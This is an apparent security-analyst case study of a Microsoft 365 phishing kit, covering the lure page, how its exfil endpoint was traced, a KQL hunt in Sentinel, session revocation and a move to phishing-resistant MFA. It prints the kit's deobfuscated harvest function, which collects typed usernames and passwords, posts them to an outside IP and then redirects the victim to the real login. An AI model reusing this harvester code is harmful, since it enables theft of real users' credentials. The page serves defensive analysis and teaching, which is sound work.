Phishing kit dissection — anatomy of a credential harvester
A user-submitted phishing page dropped onto a client tenant. I captured it, unpacked the kit, mapped the credential + MFA-token exfil endpoints, and built a takedown + tenant-hardening playbook that killed the campaign inside 48 hours.
Sign in
Your session has expired — please re-authenticate to continue.
⚠ URL is not login.microsoftonline.com
| Name | Method | Status |
|---|---|---|
| oauth2/authorize | GET | 200 |
| post.php ← | POST | 302 |
| logo.svg | GET | 200 |
Request payload
login=dayaan.shah@…
passwd=••••••••••
flowToken=eyJhbGciOi…
Request URL
https://45.61.187.22/x/post.php
Exfil endpoints reported
2
Users notified & remediated
17
Repeat sightings (30d)
0
MFA-resistant accounts
42
Reverse a captured Microsoft 365 phishing kit, identify the exfil paths, and teach defenders what to look for.
- 01 · Brief
- 02 · Your move
- 03 · Result
- 04 · How I stopped it
- 05 · How you prevent it
An end user forwarded this “Microsoft sign-in” page. The URL was microsoft-verify.top — not Microsoft.
You have the captured HTML. Your job: find the credential and MFA exfil paths before the campaign hits more mailboxes.
Tools
- Burp Suite
- URLScan.io
- Any.Run
- Chrome DevTools
- Defender for O365
Platforms
- Entra ID
- Exchange Online
- Defender XDR
- 01
Pulled the captured HTML/JS locally in an isolated VM; disabled outbound network calls before opening.
- 02
Traced form actions, hidden inputs, and inline scripts to find both the credential POST and the MFA-code capture step.
Fig · 02 · Kit source · exfil endpoint locatedLIVEkit/index.js — deobfuscatedVS Code · JavaScript123456789101112function harvest(e) { e.preventDefault(); const payload = { login: document.getElementById("i0116").value, passwd: document.getElementById("i0118").value, ua: navigator.userAgent, ts: Date.now(), }; fetch("https://45.61.187.22/x/post.php", { method: "POST", body: JSON.stringify(payload), }).finally(() => { location.href = "https://login.microsoftonline.com/"; }); } - 03
Cross-referenced infrastructure in URLScan; filed abuse reports with the registrar and hosting provider.
- 04
Wrote KQL against SignInLogs to find every user who touched the lure URL, revoked sessions, forced re-enrollment.
Fig · 04 · KQL hunt · SigninLogs correlationLIVEMicrosoft Sentinel · KQL querySigninLogs · last 24hSigninLogs | where TimeGenerated > ago(24h) | where AppDisplayName == "Office 365" | where IPAddress == "45.61.187.22" | where ResultType != 0 | project TimeGenerated, UserPrincipalName, IPAddress, Location, ResultType, ResultDescription | order by TimeGenerated descTime User IP Result 09:14:22 a.patel@… 45.61.187.22 50126 09:15:07 m.rojas@… 45.61.187.22 50126 09:15:41 j.chen@… 45.61.187.22 50126 09:17:03 s.khan@… 45.61.187.22 0 → 1 successful sign-in from phishing IP · session revoked · password reset forced
- 05
Rolled out phishing-resistant auth (WebAuthn/FIDO2) for high-privilege accounts.
Kit reversed, two exfil endpoints reported to hosting providers, tenant hardened with phishing-resistant MFA path.
- AiTM kits capture the MFA code, not the seed — only phishing-resistant auth actually stops them.
- The kit's own JS tells you the exfil URL — always the fastest lead.
Next case · IAM-009
Password brute-force & hash cracking — why length beats complexity
Open →
